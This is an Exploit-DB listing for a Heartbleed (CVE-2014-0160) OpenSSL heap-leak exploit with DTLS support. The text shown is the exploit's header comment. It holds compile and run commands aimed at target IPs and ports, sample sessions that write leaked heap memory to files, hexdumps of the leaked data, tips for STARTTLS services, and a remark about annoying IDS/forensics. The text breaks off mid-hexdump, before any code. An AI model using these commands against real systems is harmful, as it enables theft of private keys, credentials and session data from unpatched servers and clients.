Exploit-DB #32998
Description: OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (2) (DTLS Support)
Type: remote
Platform: multiple
Date: 2014-04-24
Author: Ayman Sagy

Exploit:
/* 
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned within encrypted SSL packets and is then decrypted 
* and wrote to a file to annoy IDS/forensics. The exploit can 
* set heartbeat payload length arbitrarily or use two preset 
* values for NULL and MAX length. The vulnerability occurs due 
* to bounds checking not being performed on a heap value which 
* is user supplied and returned to the user as part of DTLS/TLS 
* heartbeat SSL extension. All versions of OpenSSL 1.0.1 to 
* 1.0.1f are known affected. You must run this against a target 
* which is linked to a vulnerable OpenSSL library using DTLS/TLS.
* This exploit leaks upto 65532 bytes of remote heap each request
* and can be run in a loop until the connected peer ends connection.
* The data leaked contains 16 bytes of random padding at the end.
* The exploit can be used against a connecting client or server,
* it can also send pre_cmd's to plain-text services to establish
* an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients
* will often forcefully close the connection during large leak
* requests so try to lower your payload request size. 
*
* Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g 
*
* E.g.
* $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
* $ ./heartbleed -s 192.168.11.23 -p 443 -f out -t 1
* [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
* [ =============================================================
* [ connecting to 192.168.11.23 443/tcp
* [ connected to 192.168.11.23 443/tcp
* [ <3 <3 <3 heart bleed <3 <3 <3
* [ heartbeat returned type=24 length=16408
* [ decrypting SSL packet
* [ heartbleed leaked length=65535
* [ final record type=24, length=16384
* [ wrote 16381 bytes of heap to file 'out'
* [ heartbeat returned type=24 length=16408
* [ decrypting SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes of heap to file 'out'
* [ heartbeat returned type=24 length=16408
* [ decrypting SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes of heap to file 'out'
* [ heartbeat returned type=24 length=16408
* [ decrypting SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes of heap to file 'out'
* [ heartbeat returned type=24 length=42
* [ decrypting SSL packet
* [ final record type=24, length=18
* [ wrote 18 bytes of heap to file 'out'
* [ done.
* $ ls -al out
* -rwx------ 1 fantastic fantastic 65554 Apr 11 13:53 out
* $ hexdump -C out
* - snip - snip  
*
* Use following example command to generate certificates for clients.
*
* $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
* -keyout server.key -out server.crt
*
* Debian compile with "gcc heartbleed.c -o heartbleed -Wl,-Bstatic \
* -lssl -Wl,-Bdynamic -lssl3 -lcrypto" 
*
* todo: add udp/dtls support.
*
* - Hacker Fantastic
*   http://www.mdsec.co.uk
*
*/

/* Modified by Ayman Sagy aymansagy @ gmail.com - Added DTLS over UDP support
*
* use -u switch, tested against s_server/s_client version 1.0.1d
* 
* # openssl s_server -accept 990 -cert ssl.crt -key ssl.key -dtls1
* ...
* # ./heartbleed -s 192.168.75.235 -p 990 -f eshta -t 1 -u
* [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
* [ =============================================================
* [ <3 <3 <3 heart bleed <3 <3 <3
* [ heartbeat returned type=24 length=1392
* [ decrypting SSL packet
* [ heartbleed leaked length=1336
* [ final record type=24, length=1355
* [ wrote 1352 bytes of heap to file 'eshta'
* 
* 
* # hexdump -C eshta 
* 00000000  00 00 00 00 06 30 f1 95  08 00 00 00 00 00 00 00  |.....0..........|
* 00000010  8c 43 64 ab e3 89 6b fd  e3 d3 74 a1 a1 31 8c 35  |.Cd...k...t..1.5|
* 00000020  09 6d b9 e7 08 08 08 08  08 08 08 08 08 a1 65 9f  |.m............e.|
* 00000030  ca 13 80 7c a5 88 b0 c9  d5 f6 7b 14 fe ff 00 00  |...|......{.....|
* 00000040  00 00 00 00 00 03 00 01  01 16 fe ff 00 01 00 00  |................|
* 00000050  00 00 00 00 00 40 b5 fd  a5 10 da c4 fd fb c7 d2  |.....@..........|
* 00000060  9f 0c 56 4b a9 9c 14 00  00 0c 00 03 00 00 00 00  |..VK............|
* 00000070  00 0c 69 ec c4 d5 f3 38  ae e5 2e 3a 1a 32 f9 30  |..i....8...:.2.0|
* 00000080  7f 61 4c 8c d7 34 f3 02  08 3f 68 01 a9 a7 81 55  |.aL..4...?h....U|
* 00000090  01 c9 03 03 03 03 00 00  0e 31 39 32 2e 31 36 38  |.........192.168|
* 000000a0  2e 37 35 2e 32 33 35 00  23 00 00 00 0f 00 01 01  |.75.235.#.......|
* 000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
* 00000530  00 00 00 00 00 00 00 00  a5 e2 f5 67 d6 23 85 49  |...........g.#.I|
* 00000540  b3 cc ed c4 d2 74 c8 97  c1 b4 cc                 |.....t.....|
* 0000054b
* 
* 
* # openssl s_client -connect localhost:990 -dtls1
* ...
* # ./heartbleed -b localhost -p 990 -u -t 1 -f eshta
* [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
* [ =============================================================
* [ SSL connection using AES256-SHA
* [ <3 <3 <3 heart bleed <3 <3 <3
* [ heartbeat returned type=24 length=1392
* [ decrypting SSL packet
* [ heartbleed leaked length=1336
* [ final record type=24, length=1355
* [ wrote 1352 bytes of heap to file 'eshta'
* 
* 
* # hexdump -C eshta 
* 00000000  00 00 24 4e b7 00 00 00  00 00 00 00 00 18 00 00  |..$N............|
* 00000010  cf d0 5f df c3 64 5f 58  79 17 f8 f7 22 9b 28 6e  |.._..d_Xy...".(n|
* 00000020  c0 e7 d6 a3 08 08 08 08  08 08 08 08 08 9b c3 38  |...............8|
* 00000030  2b 32 5f dd 3a d5 0f 83  51 02 2f 70 33 8f cf 82  |+2_.:...Q./p3...|
* 00000040  21 5b cc 25 80 26 f3 29  c8 90 91 ec 5c 83 68 ee  |![.%.&.)....\.h.|
* 00000050  6b 11 0d ad f1 f4 da 9e  13 59 8f 2a 74 f6 d4 35  |k........Y.*t..5|